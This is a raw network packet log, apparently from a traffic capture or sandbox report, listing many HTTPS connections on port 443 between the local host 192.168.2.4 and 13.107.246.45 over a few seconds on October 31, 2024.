Oct 31, 2024 17:27:03.526725054 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.526804924 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.526814938 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.527288914 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.527302027 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.527354956 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.527466059 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.527473927 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.136696100 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.137340069 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.137358904 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.137835979 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.137841940 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.252983093 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.253885984 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.253901005 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.254463911 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.254467964 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.270998955 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.271362066 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.271374941 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.271392107 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.271653891 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.271723032 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.271785021 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.271791935 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.272142887 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.272159100 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.273060083 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.273113966 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.273159981 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.273355007 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.273369074 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.273384094 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.273396015 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.274849892 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.275161982 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.275228977 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.275587082 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.275598049 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.276504040 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.276539087 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.276621103 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.276760101 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.276776075 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.385252953 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.385421991 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.385577917 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.401276112 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.401504040 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.401657104 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.402502060 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.402574062 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.402631044 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.404954910 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.406898975 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.406985998 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.410223961 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.410249949 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.410267115 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.410273075 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.411128998 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.411180019 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.411221981 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.411238909 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.412331104 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.412350893 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.412362099 CET	62868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.412368059 CET	443	62868	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.413069010 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.413078070 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.413086891 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.413090944 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.419018030 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.419042110 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.419100046 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420059919 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420084000 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.420146942 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420460939 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420504093 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.420562029 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420609951 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420622110 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.420706034 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420721054 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.420785904 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.420795918 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.421087027 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.421119928 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:04.421165943 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.421276093 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:04.421293020 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.008460999 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.009103060 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.009146929 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.009630919 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.009641886 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.137005091 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.137172937 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.137234926 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.137387991 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.137415886 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.137434959 CET	62869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.137443066 CET	443	62869	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.140913010 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.140958071 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.141041994 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.141231060 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.141244888 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.178236008 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.178920031 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.178940058 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.179555893 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.179559946 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.196320057 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.196806908 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.196837902 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197056055 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197299004 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.197305918 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197402954 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197582960 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.197598934 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197735071 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.197750092 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.197993994 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.197998047 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.198189020 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.198195934 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.309393883 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.309962034 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.310117006 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.310117006 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.310117006 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.312853098 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.312882900 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.312961102 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.313102961 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.313117027 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.327811956 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.328459978 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.328515053 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.328548908 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.328557014 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.328567982 CET	62872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.328572035 CET	443	62872	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.328972101 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.329117060 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.329166889 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.329212904 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.329235077 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.329246044 CET	62870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.329252005 CET	443	62870	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.329538107 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.329999924 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.330055952 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.330159903 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.330173969 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.330188990 CET	62871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.330195904 CET	443	62871	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.330804110 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.330862999 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.330940008 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.331110954 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.331137896 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.332078934 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332101107 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.332184076 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332274914 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332288027 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.332314014 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332335949 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.332401991 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332487106 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.332520962 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.616933107 CET	62873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.616955996 CET	443	62873	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.878815889 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.879451036 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.879475117 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:05.879951000 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:05.879956007 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.009105921 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.009382010 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.009479046 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.009560108 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.009579897 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.009591103 CET	62874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.009597063 CET	443	62874	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.012984037 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.013050079 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.013140917 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.013322115 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.013339996 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.055645943 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.056338072 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.056369066 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.056871891 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.056876898 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.059705019 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.059969902 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.059999943 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.060323000 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.060333014 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.061424017 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.061646938 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.061674118 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.061974049 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.061980963 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.070621967 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.070883036 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.070909023 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.071320057 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.071326971 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.186383009 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.186698914 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.186779022 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.186825991 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.186851978 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.186871052 CET	62878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.186878920 CET	443	62878	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.190042019 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.190079927 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.190165043 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.190341949 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.190359116 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.191175938 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.191402912 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.191453934 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.191482067 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.191487074 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.191502094 CET	62876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.191508055 CET	443	62876	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.193645000 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.193690062 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.193753958 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.193883896 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.193895102 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.201761961 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.203274965 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.203325033 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.203361034 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.203380108 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.203394890 CET	62877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.203399897 CET	443	62877	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.205456018 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.205467939 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.205537081 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.205661058 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.205667973 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.223239899 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.223351955 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.223423004 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.223798990 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.223812103 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.223823071 CET	62875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.223829031 CET	443	62875	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.225989103 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.226001024 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.226073980 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.226272106 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.226283073 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.738056898 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.738857985 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.738882065 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.739293098 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.739298105 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.864005089 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.864085913 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.864135981 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.864408016 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.864435911 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.864464045 CET	62879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.864469051 CET	443	62879	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.867997885 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.868036985 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.868108988 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.868254900 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.868263006 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.942090034 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.942867041 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.942893028 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.943377018 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.943382978 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.943453074 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.943831921 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.943842888 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.944303989 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.944308043 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.946235895 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.946540117 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.946552038 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.946921110 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.946923971 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.966687918 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.967005968 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.967020035 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:06.967406034 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:06.967411995 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.076915026 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.077095985 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.077171087 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.077389002 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.077413082 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.077428102 CET	62882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.077435970 CET	443	62882	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.079550028 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.079606056 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.079653025 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.079766989 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.079780102 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.079792023 CET	62880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.079797029 CET	443	62880	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.081130981 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.081197023 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.081286907 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.081415892 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.081430912 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.082088947 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.082129002 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.082190037 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.082359076 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.082370043 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.083667994 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.085598946 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.085660934 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.085747004 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.085747004 CET	62881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.085793972 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.085824013 CET	443	62881	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.087727070 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.087743044 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.087814093 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.087918997 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.087929010 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.099539042 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.099698067 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.099750042 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.099782944 CET	62883	443	192.168.2.4	13.107.246.45
